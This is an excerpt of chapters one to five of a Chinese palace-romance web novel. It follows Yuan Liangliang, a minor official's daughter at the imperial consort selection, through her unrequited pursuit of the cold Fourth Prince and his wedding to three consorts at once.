《贵妃太爱朕了怎么办》 1. 壹 《贵妃太爱朕了怎么办》全本免费阅读 一 元良良跨进门槛时,就看到两个十一二岁的小姑娘正躲在屏风一角说悄悄话,不时看一眼上首,生怕被父母逮到惩罚的模样。然后眼眸一转,两个小姑娘就看到了进门的元良良,顿时都瞪大了眼,眼神都粘在了她身上。 元良良脚步顿了下,又往上首位置行去。她福了身,喊人:“爹爹,母亲安好。” 元承业和嫡妻刘氏在元良良跨入门的那一刻也和两个女儿一样呆愣了片刻。比起刘氏,元承业的喜悦那是发自肺腑的真心,没想到二女儿出落的如此标致,这一趟进京岂非十拿九稳。 而刘氏,她觉得自己应该和丈夫一条心,然而看到别人的女儿比自己的女儿更出色更吸引人注意,她心里还是极不舒服的。尽管元良良以后出头了,对她也是有益无害。 然后刘氏脸上还是不显的,端着嫡母的架子微微笑:“良良无需多礼,这里都是你的爹爹母亲和弟妹们,都是一家人,无需多礼。” 元承业给了刘氏一个赞赏的眼神,附和:“你母亲说的是,良良坐吧。你还记得你的两个妹妹吗?琳琳,姝儿。”元承业向两个女儿招手。 元良良六岁时和亲娘被人送去老家,在没离开元府之前,她当然是时常见到他们的。当时她的两个妹妹貌似一个三岁,一个两岁。 姐妹间互相打过招呼,元承业就让两个小姑娘自己玩去,然后一脸慈父样和元良良说话:“良良,几个姐妹中,除了你大姐,为父最担心的也就是你了。女儿大了,要嫁人,爹爹就想着把你接回来,为你谋划谋划。” 元良良乖巧谢过爹爹。 元承业满意点头,继续说:“六月京中大选,爹爹打算送你过去试试。以后我们良良就是贵人了。” 元良良垂眸,恰好掩去眼尾的狡黠,软软糯糯的声音出口:“爹爹,母亲,这样大好的前程良良实难安然接受,何不让大姐一试?” 听到她说大女人元倾城,元承业的老脸就垮了下来,就连刘氏的神情也满是别扭。 元承业无甚感情说:“你大姐去年中已经出嫁了。” 刘氏赶忙又补充:“你姐姐嫁的那是探花郎,三媒六聘,明媒正娶的妻子。探花郎现任中书侍郎,上个月才带着你姐进京授官衔。”刘氏说着瞥向元承业。 元承业摆明了心里还有气,冷着脸不接话。 元良良这就纳闷了,嫁探花郎还不满足?莫不是这夫妻俩还想让女儿去宫里当娘娘不成?别说当今陛下年岁大了,其还是个贪欢好色之徒,后宫娘娘没有三千也有八百的。还没争上宠就有可能嗝了。 元良良进京后和她大姐联系了才知道事情始末,原来她大姐和她一样不乐意给人当侍妾玩物,于是当元承业提出要大姐进京选秀时,大姐知道拒绝不了,表面答应下来,背后却和心仪之人未成婚有了夫妻之实。 没办法,元承业只能自个吞了膈应如了元倾城的意,为此元承业迁怒刘氏没能管教好女儿,故大女儿出嫁后就再没进过刘氏的房,一直都宿在妾室方氏那。 话说元琳琳就是方氏的女儿,因方氏得宠,元琳琳也能享受和元姝儿一样的待遇。 元倾城的心仪之人原本只是个穷书生,元承业是万般看不上眼,结果人上京赶考一下就中了探花衣锦还乡了,这也算是给元家长了些脸,但元承业心底依旧不舒坦就是了。 因有了元倾城的这一出,刘氏为了安抚元承业,就想到了元良良。元承业被提醒,才想起来自己还有一个正当如花年龄的二女儿,于是赶紧命人去接回来。六月中旬就要大选,还剩一个半月可是很赶的,女儿家的礼仪要教,还有琴棋书画,总要会一点吧。 元良良叹气,感叹大姐好勇气。其实……如果她还能遇到那位好身手的侠士,她也可以效仿大姐一二。 侠士就是此次她被元承业从临沅老家接回家途中,她打算跳车逃跑,却被侠士出手救了,其实严格来说,还是那侠士破坏了她的好事,但她不想计较。 想起侠士那双沉静如潭却万分有吸引力的凤眸和那只温暖有力的手掌,以及飞奔而去的背影,元良良的心就一阵钝痛,转而化为迟迟不散的悲凉。 她想,她要是跟了去,陪在侠士身边,从此一起仗剑走天涯,看尽山河风光,吃遍天下美味,多么快活美好的日子! 可惜,她没那命。 也不知今生还有没有机会遇见…… 不过就算不能,她也绝不会被元承业利用了去。 她亲爹十几年对她不闻不问,怎突发好心接她这个罪妇之女回去享福? 用脚指头想就知道不可能。怕不是因为马上六月京都将进行三年一度的选秀,为了元家前程,冷漠如斯的元承业就想着用女儿换一个大好前程。 元良良才不愿称了他的意。她貌美如花,贤淑知礼,就算此生再遇不到侠士,她也只想去一户普通人家当当家主母。 真去选了秀,以她爹那五品同知的品级, 2. 贰 《贵妃太爱朕了怎么办》全本免费阅读 一辆湘妃色门帘小巧精致的马车迎着明媚的朝霞行在赶往京都的路上。除赶路的车夫,马车里比之从老家回元府时多了一人。 元良良正襟危坐,听老嬷嬷训话。 要注意行止颜容,要懂察言观色,嬷嬷就连她进贵人后院后的规矩也大致讲了一通。 元良良瞪眼睛:什么?!伺候官人还要看嫡妻脸色? 也就是说她想男人了,要先去问过嫡妻可行才行的意思呗。 马上她就懂了嬷嬷的言外之意,官人可以自行决定去后院哪个妾室那,但她需要给嫡妻颜面,就得问过嫡妻,相当于是要她讨好嫡妻,这样以后的日子才会好过。 元良良自是乖巧答是。 本来元良良还想着去京都的路上再跳车一回,结果刘氏以她这一个月规矩没学完为由,给她找了个嬷嬷,说是带在路上再教几日。 于是跳车是彻底无望了。 好在她另有办法。等到选秀那日,她让那些贵人都看不上她不就成了? 元良良到繁花似锦的京都时已是五月末,京都大选的日子由钦天监呈禀陛下定于黄道吉日六月十五,此时的京都东福街马车横行人头攒动,街头巷尾皆知六月中旬的某日是陛下及皇子们三年一度选妃之日。 按从前惯例,进京参选的女子会被安排在四条主街之一的东福街的行宫一禺,选秀也将在行宫观花殿举办。因此,这段时间的东福街算是挤满了人,好在靠近行宫时有专人把守维持秩序。 马车有条不紊往前行至行宫侧门,等一辆马车上的人下了车来,马车驶离,接着另一辆再往前行至宫门处。有主仆带的物什多,下行李慢,还会有宫人上前委婉催促。 元良良三人下了车,打算进侧门时被拦住。原因是参选之女只能带一名侍婢伺候,哪怕一品大员之女亦如此。元良良心里笑开花,和诚惶诚恐磕头的嬷嬷说她一定好好的,让嬷嬷在外边守着,要是闲不住,就早日回去禀报老爷夫人一切安好即可。 直至六月十五之前,元良良就住在名为西荷殿的尾殿。她来行宫不早不晚,有些比她路远的秀女,家里怕赶不及甚至让她们提前一个月到了京都。还有些秀女就是京都人士。尤其几个大官之女,几乎是选秀前一日晚间才堪堪抵达行宫的。 元良良发现,但凡大官之女住的宫殿都是阳光充足的大院子,而像她一样的外来小官之女只能和其他小官之女挤一个小殿。 这还没进后院,就已经开始争奇斗艳了。好在,她才不掺和她们。 六月十四日的午后,主仆刚用完精美午膳。春雨瞅着她家姑娘挺着吃圆溜的肚子毫无形象仰躺在美人榻上,再瞅那张精致木然的脸,心想,要是这样有吃有喝,无忧无虑健健康康活着,在贵人后院当只金丝雀好像也不是不行。 总比是再回到老家,或者回到元家强吧。 景昭十九年六月十五是个阳光明媚的好天气,在别的秀女早早起身,天还罩着黑布,已然起床梳洗打扮时,而尾殿的某间房内主仆还在呼呼大睡。被外面行动的脚步声和莺莺燕燕说笑声吵醒,主仆俩才匆匆起来。 春雨费了老大劲才给她家姑娘绾好一个端庄大气的随云髻,再往上添些发簪绢花什么的,接着描眉敷粉。春雨又拿出大夫人赏的几套新衣,选了其中一套湘妃色的。衣裳尤其轻盈透亮,元良良穿着新衣站在阳光下,有风吹拂她鬓角的碎发和裙裾,美的像是画中的仙子,还是带着俏皮和妩媚的仙女。 只是仙女脸上那些个红疹子有些渗人。 春雨觉得姑娘更像话本子里描述的会吃人的妖精。 妖精的妆容和衣裳都有她的一份功劳,春雨颇为傲娇的跟在元良良身后,踩着她家姑娘步步生莲的脚印亦步亦趋往观花殿行去。 元良良突然回头,问:“扇子呢?” 春雨想起来,拍脑门:“哎呀,怎么忘了,我这就回去拿。”春雨转头撒脚往住的院子奔。 扇子是统管行宫秀女的官员下发的,每个秀女都有一把,团扇木柄流苏坠牌上刻了秀女的名字及出身,主子们凭着扇子认人,也是选中了人,便把扇子收走,相当于要了该名秀女。 元良良就在此时,看到了疾步前行的四殿下。 当时元良良正站在一条曲径通幽的小道上,隔着枝繁叶茂的槐树,看到了从另一条小道上走来的年轻男人。男人身姿颀长,着一身绛紫色圆领袍,两肩盘旋的金丝绣纹在阳光下泛着肃穆的光,衬得一张俊秀面容更加淡漠严肃,尤其那双凤眸,明晃晃四个大字“生人勿进”。 元良良不认得四殿下,但认出了那张脸。那不就……不就是她的侠士吗?! 本来以为至老至死都不会再相遇了的,结果又让他们在这里碰面了,在她还没被纳入贵人后院之时碰面了。 老天待她真是如亲生亲养呀! 元良良如猛虎下山,提着裙子就朝人冲了过去。冲到一半,想到她面目全非的脸,又顿住。情急之下,她撩起袖子胡乱抹了把脸,将脸上的妆全部抹掉。她对自己天生丽质的脸还是很有信心的。 等不及绕路跑过去,她直接越过花丛跳到人跟前,她本是想抓住男人的手的,结果男人十分警觉,也是有功夫底子的原因,竟被他躲开了。 她堪堪抓牢人半截窄袖,满脸的振奋和惊喜:“侠士,我们又见面了!”她还没怎么说话,眼圈就红了。 四殿下古朴沉着的凤眸中迸发嫌恶,他甩袖子,竟然没能甩开,于是乎嫌恶之色转化为恼怒:“大胆!什么人?做什么?” 元良良被这一声呵斥吓到,原本觉得憋不住的眼泪都回去了。她可怜巴巴解释:“是我。那天小女跳马车,侠士,大侠骑着马刚好经过,是您把小女救了。”虽说不能用“救”这个字,但眼下攀交情呢,总不能说人家多管闲事吧。 那天四殿下是去剿匪贼,只是顺手的事,他都没往心里去,自然是不记得。他瞧着女子打扮明艳,心里便有了计较。 哼,想勾引他? 现在的闺阁女子都这么大胆的吗?真是防不胜防。看来以后还是要在身边带两个人,驱驱鼠虫也好。 四殿下语气冷若冰霜: 3. 叁 《贵妃太爱朕了怎么办》全本免费阅读 二殿眼看着有个窈窕身影从两棵槐树间钻出来,然后身姿绰绰沿着鱼池往前走动。二殿大步往前,和女子并肩而行,看到女子面容的刹那,二殿惊呆了。 世间竟有如此清丽脱俗的女人家!任他后院美人无数,也是头一回见到此等无法用言词形容的美妙女子。 二殿被深深迷住了。他不由伸出手去拉美人如月光般莹润透白的皓腕。 元良良吓一跳,去挣扎,只听眼前长得与四殿有些许神似的白净男人温声开口:“姑娘甚得我意,姑娘且等着,此次春选,本殿定求了母后,封姑娘为本殿侧妃。”说着,一把夺过元良良手里的团扇,轻轻念,“元良良,良良?好名字!” 二殿眼里满是对她的渴望,元良良吓得说不出话来。好在二殿没多做纠缠,带着侍从洋洋洒洒离开。 元良良腿软,跌坐在地上,还好春雨用蛮力支撑着她。 春雨原是高兴的,那人自称本殿,也就是说是个皇子,皇子表示要纳她家姑娘为侧妃,侧妃诶,那可不是普通侍妾,是会入皇家玉牒的名分!但看姑娘的神情,明显不对劲,春雨急问:“姑娘不乐意吗?” 元良良靠在春雨软绵绵的怀里,她乐意吗? 她现在很不开心,那应该是不乐意的。 要是刚才没有遇到四殿下,她想必没有乐意与不乐意一说。反正都是进后院,哪个后院又有什么区别。但偏不巧,她遇到了那个让她魂牵梦绕多日的男子,并且就在离她不远处的地方。哪怕那个男人对她说尖酸刻薄的话,哪怕知道他不喜欢她,她和他不可能,她还是办不到当着心喜之人的面委屈自己跟别的男人。 想到此,元良良捂着心口低低抽泣。 春雨从衣襟处掏出帕子熟练给她家姑娘拭眼泪,并轻声哄着,总归那两句,什么不管旁人如何,她春雨一直都会陪着姑娘,或者大骂那个惹哭她家姑娘的,不过此时作恶的是个皇子,她不好明目张胆,只好做贼似的在姑娘耳边碎碎念。 元良良难过了一会儿,春雨提醒贵人们都到了观花殿,她们再不到就犯忌讳了,元良良才靠着春雨勉勉强强站稳,主仆互相搀着往观花殿行去。 观花殿名为殿,事实上不是一个住人的宫殿,而是一个种了无数奇花异草的花园。此次选秀就是在花园里进行。 宫人按以往惯例,将观花殿布置成两面,一面是秀女坐席,另一面布置华丽精巧的则是供陛下娘娘皇子们落坐的地方。两面中间用各色奇珍充当隔档,只不过隔档稀疏,纯粹图个好看,总不能真让贵人们看不清秀女的脸吧,那还叫什么选秀。 四殿下给陛下和几个娘娘请了安,就在自个座位坐下,身姿板正,目不暇视,更不置一言。 舒妃看着自个儿子老气横秋的样子,心里是叹了无数口气。她和陛下怎么就会生出这么一个……,哎,算了,总比不学无术一心扑在女人身上的二殿下好太多,她该知足的。想到此,舒妃娘娘又叹口气,这次是因欣慰感慨而叹息。 舒妃在宫人耳边低语了声,宫人随即到了四殿身边,四殿瞧一眼他母妃,随即利落起身到了舒妃座位前。 他拱手行礼:“母妃,何事?” 舒妃哀怨瞥四殿一眼,缓缓道:“暄儿,此次选妃主要是为你,大殿和二殿早有了王妃侧妃,只有你的后院连个侍妾都无。你不要认真挑选看看吗?” 四殿闻言,顺着母妃的视线看向秀女的方向,很快他又收回视线,与舒妃大眼瞪小眼,意思好似在说:“看完了。” 舒妃心底叹口气,笑盈盈问:“暄儿心里喜欢怎样的女子,母妃帮你留意着如何?” 四殿还未答话,大殿便先一步笑着说:“四皇弟第一次选妃,作为皇兄,本殿在此表态,但凡四皇弟看中的女子,本殿都愿退一步。” “本殿也乐意为四弟退一步,本殿索性放弃此次选秀的机会好了,不过只要一人足矣。”二殿摇晃着手里精巧的团扇缓步而来,他没有在自个的座位落座,而是径直走到陛下和皇后跟前,心情不赖,拱手说,“父皇母后,儿臣求纳一女,乃五品同知之女,此女清丽脱俗,才貌双全,儿臣恳求父皇母后成全。” 听到是五品同知之女,在场的所有人都松口气。只要不是朝中大员之女,不涉及自家利益,他二皇子想怎么着都跟他们无关。 陛下和皇后也无甚在意,陛下道:“留下便是。” 四殿觉这种场合真是无聊至极,尤其他还不能当个透明人,他想被人忽略不可能,想把人忽略那就更不可能了。陛下和娘娘总要时不时问候他一声,他真是不胜烦扰。于是又坐了一小会儿,他以如厕为由起身放风去了。倒不是没有其它借口,只是舒妃娘娘太精明,其他借口总会被挡回来,但借口如厕舒妃娘娘总不至于阻他。 另一头的元良良由于到的最晚,只能选最后边的座位坐下。这个位置她看谁都看不清,还好那团绛紫色足够晃眼。看到人消失在对面,她琢磨了下,也起身。春雨要跟上,她不让。 她起身后,最前头两个座位上的秀女也起身假借有事走开了。 元良良冲四殿去的,所以很快看到四殿人影正在假山后的亭中望风。她特意放轻脚步,还没等靠近,四殿已经警觉回头。看到她,即刻锁紧了眉头,眼底是一片不友好的寒芒。 元良良硬着头皮走近他,不料四殿下竟转头就走,脚步之利索,她要跑飞快才能追上他。元良良拦住四殿去路,没想好要说的话,还是鼓起勇气开口:“殿下,求殿下。小女不想跟了二殿下,小女心仪殿下,哪怕做侍妾,小女也愿意的。求殿下。”她说到后面,连声音都走调了,甚是失态,但此时也顾不了那么多。 四殿被打扰已是极不悦,眼前女人还说些恬不知耻的话,他闭了闭凤眸,重又睁开,一字一言,冷硬开口:“本殿最讨厌像你这般不知羞耻的女人,本殿就算会纳天底下所有女人入府,也不会是你。” 元良良不知自己做错了何事他竟说如此重的话,见他绕过自己就走,元良良伸手去抓他衣摆,四殿察觉,狠狠甩开。力道之大,令元良良失去重心扑倒在地。 四殿抬脚,感觉到脚上有牵绊,低头看到一只白生生的手,正环住他的鞋帮。随之,四殿听着压抑的啜泣声,看着女人头上歪斜即将掉落的金步摇,他沉默。随后,无情抬腿大踏步离去。 元良良就这样趴在地上,无声痛哭。她真的太难过了,从小到大几次心碎的感觉都是因为这个男人。 她好像怎么做都没用了。 “不知羞耻,能被四殿下这么形容的女人,你还是头一个。” 元良良听到说话声,停了呜咽。她抬眸看去,是两个女人。她认得,一个是太仆寺卿之女许昕蕊,另一个是段太傅之女段凝。说话的是许昕蕊,看着就不太聪明的样子。 段凝和许昕蕊也是冲着四殿来的,按照家中的意思,几个皇子中也就四殿未娶正妃侧妃,并且四殿即便未来不能走上那个位置,以他的名声和舒妃娘娘的手段,四殿将来也定能封个亲王。两人是想着多看四殿一眼,如若四殿注意到她们,她们的把握就更大了。 元良良看着她们有两个人,而她只有自己,决定先不跟她们计较。她默默起身,往她们相反的方向离去,等到看不到身后的人影,她才拐弯,绕了半个鲤鱼池,回到观花殿。 元良良没有坐最后面原来坐过的位置,而是径直往前,一直到最前边,坐在了首位。 这个位置原本是段凝坐的,其实位置上没有刻谁的名字,只不过大家心照不宣,第一排嘛,就像是好的秀女行宫院落总要先紧着大官之女,秀女落座的座位也一样,肯定是大官之女排在最前,哪怕告到陛下跟前,陛下肯定也是默认此举的。毕竟,皇子选妃也要看秀女的家世背景。 而眼下,一个五品外官之女竟然占了一品大员之女的位置,想想就可怕。 段凝和许昕蕊共同过来,许昕蕊要替段凝打抱不平,段凝倒是得体有度说让给她。索性元良良后面位置有秀女起身离开了,也不知是要给段凝让位还是怕元良良和段凝之间的火烧到自己才躲开的。 ... “殿下,您脚上怎么有血渍?您是哪受伤了?” 自小跟随的侍从幺平关切询问。 四殿低头看去,果然黑色鞋面上颜色不是很均匀,仔细看能看出深色的印迹。幺平随他几次出生入死,对于血迹一眼能分辨。 四殿想起那个女人,心情不悦道:“不是本殿的。” 他想让幺平去找双鞋给他换上,他实在不想跟那种女人再有任何牵扯。话还没出口,二殿跑到他跟前,嬉皮笑脸说:“父皇和娘娘们可一直提到四皇弟呢,四皇弟究竟看中哪家闺秀,不妨说来听听,也不至于让舒妃娘娘太过忧心。” 二殿不说这话还好,说了,舒妃果然心情更糟糕。 二殿接下来的一句话让舒妃更是吓得魂不附体。 二殿:“话说四皇弟后院连个女人都没有,该不是不行吧?不然这长夜漫漫,枕冷衾寒的,四弟怎忍得下去?” 四殿又想起了刚才的女人,他身姿挺拔,一身凛然道:“解决的方法有很多,也不一定非得要个女人,那些个麻烦精不要也罢。”他不说,他刚才就遇到了个麻烦精。 解决的方法…… 自己动手,丰衣足食? 待陛下和各位娘娘反应过来这话的含义,是囧的囧,羞的羞。 二殿下都整无语了。 连舒妃娘娘都替儿子感到尴尬,她心想还是要赶紧把四殿下的后院填满,也不至于亏待了自个儿子。她压根就没记住四殿下后面那句,“女人就是麻烦”的话。 二殿下抬眼便看到坐在第一排最是晃眼的元家女,他也没心思再和四殿斗嘴,一门心思观摩起美人。越瞧越心痒难耐,恨不得眼下就离席把人带回府。 二殿的眼神太过明目张胆,大殿顺着瞧过去,他眼底也显露三分惊艳,只马上归于平和,笑着道:“这第一排第三座的女子是哪家的,本殿看长得最是出众绝伦。” 陛下听到,眯着眼看去,顿时喜笑颜开。 二殿见陛下这神情,大感不妙,在陛下开口前连忙说:“父皇,巧了!皇兄提到的女子正是儿臣看中的同知家嫡女元良良。”他不放心又补充一句,“儿臣欲纳之为侧妃的女子。” 四殿下当然也看到了元良良,坐在那么醒目的位置,是生怕人忽略她吗? 四殿下又想起女人说的话,不想进二殿后院,想给他做侍妾?哼。四殿心里又哼哼,果然女人就是口是心非。早和二殿暗通曲款,又来勾搭他,是想两面开花? 想到那女人拉他的手也曾扒拉过二殿下,他眼里顿现一片阴霾。 二殿下感受到不友好的目光,向四殿看去,心里思量,最近自己难道不知不觉中又哪招惹到他了? 二殿还没想清楚,就见四殿转向上首位置,正义凛然开口:“那女子儿臣瞧着十足狐魅,若真让此女进了二皇兄后院,儿臣实不放心。” 不仅二殿下一脸吃错了药的无语表情,在场的哪个人不吃惊,四殿下竟然会关心二殿下?! 皇后和舒妃都是脸现狐疑,倒是陛下,见兄弟和睦,心下高兴。陛下再去看第一排第三座的女子,发现还的确是四皇子说的那样,别的秀女都坐得端庄大气,唯有她虽也坐姿不差,然而一股弱柳扶风样,抬手拨动一下发丝都是无比的勾引人。狐魅,着实狐魅! 皇后也看去,不细看不知道,这一看脸瞬间沉下来。一个五品官之女竟坐在首位?!谁给她的胆子!这样的女人就是祸害,这些年她在后宫可是不少见。 皇后心里已有了决断,此女子万万不能进二皇子的后院。她虽不喜四皇子,但也不得不承认四皇子说的在理。 舒妃及各宫其他几位娘娘从没如此同心过,她们都和皇后一个想法。 舒妃瞅一眼四皇子,心里安慰,好在她的四皇子对女人从来不上心。这不上心就发现不了女人及女人之间的差别,舒妃觉得要一直都发现不了其实也挺好的。这么一想,舒妃娘娘心里顿觉豁然开朗。 皇后明确表态不同意二殿下纳元良良进府,陛下也随之附和点头,立场明确。二殿下跪在地上求,见皇后真的生气了,才诺诺应是,不敢再造次。 二殿下走向座位,经过四殿下身边,狠狠瞪了四殿下一眼。 四殿下目不暇视,正襟危坐,当没眼前这个人。 二殿下愤愤然一甩袖子,就坐回自己位置,之后一度阴沉着脸再没开口说一句话,桌上的御酒倒是被他糟践了不少。 陛下问四殿下:“这半日,四皇儿可有心仪的秀女?说来,父皇替你做主。” 四殿下道:“儿臣听父皇和母妃的安排。” 陛下难得见四殿下乖巧,十分满意颔首。于是看向舒妃的目光也充满柔情,就差把“舒妃 4. 肆 《贵妃太爱朕了怎么办》全本免费阅读 在客栈休养了三日,元良良带着春雨出门去了当铺。她将大夫人给的首饰当了,还想把大夫人给的衣服当了,结果当铺掌柜说她的衣服不值几个钱,不收。 是了,在京都几乎人人权贵或是有权贵做靠山的人,穿绫罗绸缎的人数不胜数,穿千金难买绫罗绸缎的人也不在少数,掌柜的自然看不上她的衣服。好在发簪是金子银子做的,款式不好看不要紧,大不了融了当钱花。 元良良收好了依旧扁扁的荷包,叹气。如果不住店,她和春雨光吃饭,省着点花应该够撑一个月,如果住店,就顶多七八天。后面他们将身无分文,被客栈掌柜的赶出去,然后流落街头,有地痞看她长得不错,强迫她当侍妾,她和春雨被饿了三四天,但还有一口气,自是不愿,说如果再骚扰她就去报官,地痞于是被吓走了。再见到地痞,她和春雨已经被饿了七八天,只剩一口气,地痞一句话不说只笑望着她,她用毕生力气抓住地痞油乎乎的肉手:“求求给口吃的吧,公子想做什么都行。” 想到此,元良良面露凝重,她捏着拳头,感受到掌心结的疤,用力握紧了还是会有些许疼痛。她绝不让自己流落到那种惨绝人寰的境地! “春雨丫头,我们离开这里吧。去一个真正繁花似锦的地方,过我们自己的快乐小日子怎么样?” 京都不适合她们,也不愿意回元家自取其辱,更不愿意回去临沅老家。倒不如自闯一番天地,无需多有钱,至少能快活过好每一天。 春雨重重“嗯”了声,眼睛晶亮。马上又想到,忧心问:“夫人怎么办?” 夫人肯定会知道她们流落在外不知去向,非急疯了不可。 元良良:“等我们有了落脚之地,就给娘亲写信报平安。再等我们真正出头了,就把娘亲接出来,接不出来就偷出来,从此我们一家三口快快活活的生活在一起!” “嗯!”春雨点了个大大的头。听了元良良的描述,春雨心里似乎也有了一点画面。 主仆一时沉浸在畅想中不能自拔。 “听说了吗,七月初二就是四殿下大婚之日!” “什么,这么快?选秀才过去三日,这就要大婚了?” “听说是钦天监定的黄道吉日,说之后的几月都不宜婚嫁,只有这一日是好的。这不就定下了。” 元良良摇晃下春雨的手:“要不等到七月再走吧?” 春雨从美好中回神,茫然问:“姑娘,这是为何?” 元良良不吱声。 春雨:“可是我们没钱住到那时候了。” 元良良说她有办法。 七月初二,确是个天光明媚的好天气,一尘如洗的天空,如块蓝色宝玉,阳光普照着大地,人人欢声笑语。 一身正红婚服的四殿带着仪仗队从宫里出发,前往太傅府迎娶太傅嫡次女段凝为四皇子正妃。 百姓们难得见到如此辉煌浩大的场面,上回得见,还是三年前二殿下大婚。众百姓只见为首开路的是围着红腰带不怒自威的侍卫军,再是一身正红皇子喜服尤为瞩目的四殿下骑在一匹黝黑发亮的高头大马上,许是穿得喜庆,原本给人不怒自威感觉的四殿下竟被衬托得唇红齿白,明明没在笑,眉宇间却自成风流。 众百姓齐齐下跪行礼恭贺四殿新喜,没等四殿反应,跟在四殿身边的侍从就掏出早准备好的喜钱喜饼分发给百姓,最后人手不够,只能往人堆里撒了。几个十岁左右的小子早准备好了,机智围成一圈,背对着背,扩大包围圈,果真侍从将一大把银钱糖果很凑巧的扔进包围圈里,几个小子见状兴奋大叫。 四殿下见此一幕,嘴角才漾开一个笑。 元良良站在人堆里,春雨早不知道被挤到哪去了,她被推搡着,动静越来越大,听着人群高呼“四殿下”,然后她看到了队伍中那身刺目的红,还有更刺目的是他脸上陌生的笑容。 他原来是会笑的。 只是从来不是对她。 他离她越来越近,又离她越来越远。 他去接他的新娘了。 冷不丁的,她手里被塞了一包喜糖。 幺平是看她一个姑娘家,肯定抢不过那许多人,又看她长得实在是好,起了恻隐之心,就将手里发得差不多,还剩余的一点连同布包团巴团巴全塞人怀里了。 幺平追上四殿下,笑得见牙不见眼。见四殿看来,他解释:“见到个漂亮姑娘。”只不过姑娘看着愁容满面。这话,幺平肯定不会选这节骨眼说。 四殿下又恢复了肃穆凛然的模样,他看身后的幺平时,眼梢微抬,眼神落在更后方。似在寻找什么。 那么多百姓,人挤人,她还是那么瞩目。 四殿不否认,他也注意到她了。只不过四殿不认为是自己的问题,他觉得一定是她穿衣服太张扬,故意引起人注意的。瞧,连幺平这样的宦官都被她吸引了去。 四殿想从人群中收回目光,不经意就看到了,她和她的丫头站在一家店铺檐下,她也正望着他。四目相对时,四殿飞快收回目光,坐直身体,他两腿一夹马腹,马飞快往前奔跑,转眼到了队伍最前边,更是一骑绝尘。侍卫队只好跑着跟上,幺平呼喝仪仗队也加快脚步。 ... 元良良转头和春雨说:“我们后日出发吧。本来今日就可以走的,但我们总要先跟船上道个别对吧。” 春雨自然没意见。 元良良说的船就是停在花满楼后湖的一条花船。花船当然是花满楼的,每到晚霞时分,花满楼会派舞娘去船上献舞,给花满楼扬名撑场子。 元良良在春雨百般阻挠下,还是自告奋勇去花船自荐跑腿。她那张脸都能当花魁娘子,只是不论老鸨子芸娘怎么开口说好话劝她入行,元良良都坚持说只想当跑腿的,并直言她只做短工,她是要出去闯天下的人。 芸娘只看着她笑笑不说话,心下琢磨着怎么让这丫头死心塌地留下。遂元良良提出要预支工钱,芸娘二话不说答应她,并给了双倍的,有什么好吃的也第一时间想到她。花船上人人皆知,芸娘看重元良良,是要将她当花魁娘子栽培的。 因此,真正的花魁娘子十分不待见元良良,也从没给过元良良好脸色瞧,只是元良良从小习惯了各种目光,她是万般不放心上的,于是遭到无视的花魁娘子更堵心了。 ... 这婚礼礼节也着实是多,四殿接完正妃,后悔不已。迎正妃回四皇子府的路上,他觉得时辰尚早,于是和幺平这样说:“你亲自去趟两位侧妃府,就说本殿允许她们与正妃一同进皇子府,不必再择时了。” 幺平惊骇,劝:“殿下,不成啊,这…这侧妃礼服还没备妥呢。更何况两位侧妃府纳采都没下达。” 四殿四平八稳坐在马上,十分理所当然说:“你去成品铺子买两套给侧妃送去吧。至于纳采……”他琢磨下,很快想到说,“让她们回门时一同带回去就成了。去吧。速去速回,别误了吉时,不然母妃那不好交代。” 幺平苦哈哈应下,随即撩起衣摆,飓风腿跑远。 这日,四殿下同时迎娶皇子妃及两位侧妃的事轰动了整个京都,据说消息传达至三家府邸,闹得三位大臣家皆人仰马翻。 太傅府是觉得荒谬,问题荒谬的人是高高在上的四皇子,太傅只能干看着,干生气,他还能怎么着,只能认了呗。而兵部侍郎府和太仆寺卿府是直到四殿下的人抬着迎侧妃的轿辇到自家府门前时才知道自家女儿这日要进四皇子府。于是,两府的人进进出出,跟老树下那窝蚂蚁得知要下雨似的忙活开去。 看着廉价土气的嫁衣,两位侧妃暗自垂泪好久。 四皇子府。四殿宴宾客。 大殿得知正妃侧妃一同入府,觉头疼。本来这是四殿下婚礼,是四殿下的事,跟他无关。然而,都知道大殿和四殿是穿一条裤子的,四殿娶太傅之女相当于是给他大殿助力,这下子不是直接把段太傅给得罪了? 大殿寻个空隙,和四殿说话,不自知语气有点责备的意味。 “四弟,这正妃侧妃一起进府从未有过的先例,这么做很是不妥。” 四殿下喝了不少酒,两颊染上胭红,神色倒还清明:“我这么做也算给大家省了送礼钱。旁的人不说,就说朝上几个纯官,两袖清风,让他们送三次礼,本殿着实过意不去。” 5. 伍 《贵妃太爱朕了怎么办》全本免费阅读 四殿下以前都是自个吃饭,但从此往后,就要和正妃侧妃一同用膳。 四殿下觉得这个规矩得改,不过第一次嘛,他是可以勉强忍忍的。他进膳厅时,他的正妃和侧妃都到了,见他过来,各个起身行礼问安。 四殿下:“都坐吧。”这就是他为什么不喜欢和女人一起吃饭的原因。 饭毕,食不知味的四殿打算撤了,听到侧妃许氏甜甜唤他:“殿下,妾身近日新学了一支剑舞,想献给殿下。” 四殿下皱眉,他究竟是来吃饭的还是来看戏的?这也是他为什么不喜跟女人同桌的原因。 都是麻烦精。 四殿下还是忍了,毕竟新妃入府,互相体谅很有必要。 许氏取了早准备好的刻了精致花纹的长剑,开始扭动身体,不时露出纤长的脖颈,不时又是白嫩的胳膊,纤细的腰身灵活翻转,发丝随之飘扬在半空,实是美不胜收。 四殿下沉着脸不置一言。 他不禁又想起了那个水性杨花的女人,摔倒了还要抱住他的脚,露出的手和胳膊比眼前女人的更白皙,就那样紧紧抓着黑色的鞋帮,刺目得很。 只是那有什么用,他还不是能轻易挣脱开。 四殿下回过神,眼里又有了怒火。他拍案而起:“你这是耍剑呢还是勾引人?” 四殿擅剑也常练剑,许侧妃也是知道这点才学了这一出。 但她不知四殿实在瞧不上她的花把式,在四殿眼里出剑就是要一击即中取人性命,被女人用来整这一出,耿直的四殿实难接受。 四殿的怒火吓得厅里三个女人及伺候的丫鬟婆子跪了一地。 四殿都不想解释,只和正妃说:“好好教教规矩,不懂规矩就在院里呆着,别出来丢人现眼。”说完,抬脚走人。 除了许侧妃诚惶诚恐和伤心欲绝以外,正妃和左侧妃表面淡然,心里却是乐开了花。 叫她许侧妃翻着花样子勾搭男人,栽了吧。 隔了一日,四殿才带着正妃和左侧妃进宫给陛下和舒妃请安,由于许昕蕊犯了错,四殿故要她在院里反省。 舒妃知道四殿惩罚了新入府的侧妃,要是侧妃真犯错,罚了也就罚了,问题侧妃不就是献了个舞,这不也是为了哄他高兴至于吗? 舒妃娘娘于是给侧妃求情,四殿意味深长看着他母妃,等舒妃说完了,他才开口: 